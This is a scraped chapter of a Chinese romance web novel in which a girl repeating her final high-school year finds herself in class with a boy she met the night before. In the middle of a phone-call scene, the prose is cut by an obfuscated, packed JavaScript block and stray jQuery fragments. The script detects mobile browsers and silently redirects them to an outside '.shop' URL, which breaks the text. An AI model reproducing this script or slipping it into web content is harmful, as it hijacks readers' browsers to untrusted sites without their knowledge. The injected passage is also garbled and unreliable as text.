文趣网 > 都市小说 > 诱蓝 > 2. 第二张网
    时间尚早,教室里没来几个人,时蓝走到后排随便找了个空位置就坐。

    三个月前时蓝还坐在教室埋头刷题。

    没想到三个月后,她又回来了。

    堪称一夜回到解放前。

    世事无常啊!

    谁能想到她高考当天来姨妈呢!

    时蓝痛经很严重,做卷子时冷汗直往下冒,连监考老师都过来问她情况。

    最后成绩果然不出她所料,仅仅比一本划线多出十六分,离她想去的学校差十万八千里。

    按照她正常水平的话,应该没问题。

    时蓝坚持要复读,她的目标大学一直都是申大。

    好在她的成绩可以抵大部分学费,不然程安怕是真让她凑合凑合滚蛋得了。

    *

    指针走向九点,教室基本已经坐满了。

    “哎,贺唯一,你说神不神奇,咱俩居然又一个班。”门口传来声音,在这个安静的空间格外响亮,引得教室里的人纷纷抬头往门口看。

    川郑中学的校服是白色为底,蓝色条纹勾边的,时蓝在宣传册上见过,不过复读生是不用穿校服的,穿简单舒适的便装就行。

    时蓝看向说话的那个男生,一头棕色的卷毛,发尾还有些掉色,穿着一件花色短袖衬衫,配上卡其色的短裤,脚踩一双军事风凉拖。

    不像是学生,倒像是赶海的。

    他旁边那个……

    时蓝眼睛慢慢睁大。

    贺唯一手插在兜里,进来扫视了一圈,看见最后面还有两个座位,手肘抵了下王俞,下巴微抬。

    阳光打在他身上,左耳的银钻一闪一闪的。

    看见座位上的女孩,贺唯一显然也是一愣。

    但也只是一瞬,他很快敛起神色,从时蓝身边走了过去。

    时蓝听见附近的几个女生低声感叹:“好帅。”

    “打不打?”王俞把书包往地上一丢,掏出手机问。

    等待游戏进度条加载的时间,一个戴眼镜的男人从前门走进来。

    仔细看,会发现他的模样和贺唯一有几分相似。

    中年男人站在讲台旁边自我介绍:“同学们你们好,我叫贺辰,是你们的数学老师兼班主任。”

    王俞开玩笑:“这老师也姓贺,该不会是你家亲戚吧?”

    他其实只是随便说说,谁曾想正趴在草丛准备狙击敌人的贺唯一低低应了声:“嗯。”

    “不然你以为我怎么能来这所学校,凭我考的那几分?”

    男生音色清朗,那理所当然的劲儿就像在说今天天气真好一样。

    贺辰先是对这群复读的孩子们鼓励了一番,明明是数学老师,说起话来却颇像个书生。

    他说:“懦夫是经不起复读的考验的,很庆幸,在座的你们,是真正的勇士。”

    坐在这里的学生刚刚经历了可以说人生最大的一场失败,不能立刻整理好心情是很正常的一件事,他们现在很需要有人说:你可以。

    有人朝贺辰露出动容的神色。

    贺辰往下环顾了一圈,开口道:“座位就先这样坐,等期中考试大家再按照排名自己选择坐哪。”

    贺辰又交代了一些注意事项后,转身看了眼教室的钟,“我有点事,你们先互相熟悉一下。”

    *

    时蓝的同桌是个性格外向的女孩子,贺辰走后,她笑着跟时蓝打招呼:“你好啊,我叫路晴,你叫什么?”

    女孩笑得恣意,露出八颗牙齿。

    “时蓝。”她淡笑着回答。

    路晴性格爽快,还有点自来熟。

    她缠着时蓝聊了会天后,转身看到后面两个男生在打游戏,主动道:“哎,你们在玩这个,带我一个。”

    王俞点头,“行啊。”

    路晴把手机横过来,红色的机身衬得那双手白皙修长。

    路晴的长相属于浓颜,五官量感足,是那种第一眼就让人惊艳的大美女。

    “忘了自我介绍,我叫路晴,你们呢?”

    “我叫王俞。”

    时蓝悄悄向后靠。

    男生嗓音和昨日一样,磁性好听,“贺唯一。”

    三人拿起手机准备战斗,路晴发现落单的时蓝,于是戳戳她的胳膊,“一起吗,时蓝?”

    时蓝摇头:“我没有手机,”也不会玩手游。

    剩下半句还没出口。王俞嘴快,心里想的登时脱口而出:“不是吧,现在居然还有人没有手机?”

    贺唯一眸色未变,依旧盯着手机屏幕,长腿却伸到课桌底下踢了王俞一脚,他便立刻噤声。

    老师没来,教室乱糟糟的。

    这一点无论哪个年级都不能幸免。

    “哎哎,你别走这。”

    “这辅助真菜。”

    “我靠要死了要死了。”

    ……

    *

    “不好意思讲得有点久,大家快回家吃午饭吧,明天正式上课是七点别忘了啊。”贺辰合上班主任手册道。

    时蓝合上笔盖,把阅读题收起来放进书包。

    窗户大敞着,贺唯一将手机丢到一边,懒散地环着臂,视线落在前方。

    呵,不仅是个乖孩子,还是个好学生。

    *

    在这个新的校园,时蓝算正式开始了她为期一年的高四生涯。

    教室后窗处有株桂花树,某个课间,时蓝走过去,桂花清甜的香气顺着风扑向她脸颊。

    时蓝抬手伸了个大大的懒腰,放松片刻后,便准备回去和那道数学题继续战斗。

    却在转身一瞬间,愣住了。

    是贺唯一打完球回来。

    他皮肤白,又运动出了汗,脖子像涂了层高光似的,眉眼凌厉,尤其是那双眼睛,单眼皮,看人时神情冷冷的,好像对什么事情都不关心。

    还真是,具有欺骗性的外表。

    时蓝想到昨晚。

    她离开前去买了桶泡面当作谢礼,还多加了个卤蛋进去。

    回来时,他正喝可乐,看到她时举起说:“我以为你走了。”

    言外之意,他才喝的。

    时蓝觉得没什么,这本来就是他的可乐。

    “这个泡面,”她把沉甸甸的泡面桶推过去,动作轻轻的,怕里面的汤汁洒出来,“请你吃。”

    说完怕被拒绝,于是溜之大吉。

    “今天的事谢谢你,我先走了。”

    时蓝在心里叹气,太怂了。

    早知道她会和他成为同学,她一定不处理得这么狼狈。

    绝对彬彬有礼,温和大方。

    算了,哪来那么多早知道。

    贺唯一一只手掌着篮球,力气聚集在小臂上,借力往前一扔,球准确无误掉进后黑板旁放置的杂物箱,滚了两圈停下。

    他拉开椅子,从桌洞里拿出一瓶矿泉水,拧开,灌了一大口。

    抬头的时候,不经意瞥到斜前方女孩微红的侧脸。

    她还真是容易耳朵红。

    他翘着二郎腿,身子斜靠在大理石纹样的瓷砖上。

    一份试卷落在他课桌上。

    是课代表在发今天的数学作业。

    贺唯一左手捏着瓶子喝水,水位线越来越向下,塑料瓶在他手里被挤压得变了形,发出脆响。

    他右手拎起试卷扫了眼,随即面无表情地往桌洞里一塞。

    很大程度上,这张卷子是不会再有重见天日的机会了。

    *

    夜深人静,窝在墙角的橘猫瞪着溜圆的眼睛四下转动。

    时蓝将窗帘拨开到一边,泠泠月光透过纱窗照进来,她关掉头顶的白炽灯。

    月色下,抽屉里的老年手机在震动。

    时蓝摁下接听键,“喂,嘉明哥。”

    “蓝蓝,睡觉了吗?”那头声音温和。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17843904|211694||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    “还没。”时蓝笑笑,“嘉明哥有事吗?”

    乔嘉明靠在椅背上,耳朵里塞着蓝牙耳机,舍友说了句笑话三个人笑得前仰后合,乔嘉明扔了个抱枕过去,示意自己在打电话。

    舍友嘁一声,女朋友啊。

    瞎扯个屁,我妹。

    没听说你有妹妹啊?

    我邻居家的。

    哦,青梅竹马。

    时蓝在对面听得一清二楚,耳根不争气地发热。

    “别理他们。”乔嘉明说回正事,“我最近给一个高三生做家教,整理了份数学资料,想着你应该能用上,发你邮箱了啊。”

    时蓝立刻打开电脑接收。

    “看到了,谢谢嘉明哥。”

    “跟我说什么谢。”

    乔嘉明这份资料整理得很到位,全方位涵盖高考考点,旁边还标注了他自己的见解。

    申大数学系的学霸真的不含糊。

    两人又聊了会日常,电话以乔嘉明舍友喊着四排结束。

    听筒传来嘟嘟的忙音,时蓝却还将手机放置在耳旁。

    金属后壳传来的热度让她掌心滚烫,脸也是。

    *

    课间。

    路晴:“时蓝借我根红笔,我的没水了。”

    时蓝正在算题,让她自取,“在笔袋里,你自己拿吧。”

    “好嘞!”路晴捞过那只兔子笔袋。

    她习惯把所有笔都拿出来握成一团,这样从上面看方便找到想要的。

    时蓝藏在底下的证件照就这么赤裸裸出现。

    路晴好奇,“这你男朋友吗?”

    时蓝视线这才从题目上移开,偏头一看,连忙伸长胳膊捂住照片:“不是,是邻居家哥哥。”

    谁会把邻居家哥哥的证件照放在随身携带的笔袋里?

    路晴拿走自己需要的红笔,“心上人吧?”

    她说着,把手里拿着的一堆笔放回去,一张一寸蓝底证件照瞬间在两人面前隐没下去。

    是时蓝高三那年和乔嘉明一同去照的高考证件照。

    鬼使神差地,她就留了一张。

    “不是。”她拉上拉链,口是心非地否认道。

    *

    开学半个月,突然来了个督导检查,贺辰临时安排前后左右四个人为一个学习小组,以此来展示教育厅下发的“互助合作学习”的工作成果。

    路晴涂着透明指甲油的手一挥,不屑地说:“学校就会做些表面功夫。”

    本以为只需要换个座位装模作样一番,谁知还有更离谱的。

    周五,语文老师陈颖华又布置了一项小组作业,说是下周有领导要来听她的公开课,到时候需要上台汇报。虽然知道这只是为了应付上面,但作为学生,除了私下抱怨抱怨,该做的还是得做。

    周末,雾天。

    戴着红色围裙的老爷爷一大早就开始营业。

    四人打算在肯德基完成他们的小组作业。

    路晴和王俞没吃早饭,打算去点些吃的,“时蓝,贺唯一,你们俩要点啥吗?”

    “一杯冰可乐,谢谢。”贺唯一大清早就在玩游戏。

    “嗯……”时蓝犹豫了会儿,“我要杯豆浆吧。”

    不得不说,肯爷爷的豆浆就是比麦记的好喝,刚出炉的还有些烫嘴,豆浆鲜醇的味道在嘴里漫开。

    等路晴和王俞吃差不多了,时蓝简单说了一下ppt的内容:“我们这个选题可以大致分为三块……”

    杯里的可乐很快见了底,贺唯一用吸管勾出块冰放嘴里嚼,喉结随着咀嚼的动作上下滚动,勾出的侧脸线条紧致锋利。

    咔吧。

    冰块碎裂的声音在这很是突兀。

    时蓝才注意到他今日换了只耳环。

    不再是银色耀眼的钻。

    纯黑色铆钉,哑光的,但配上那张脸,就和低调二字沾不了边。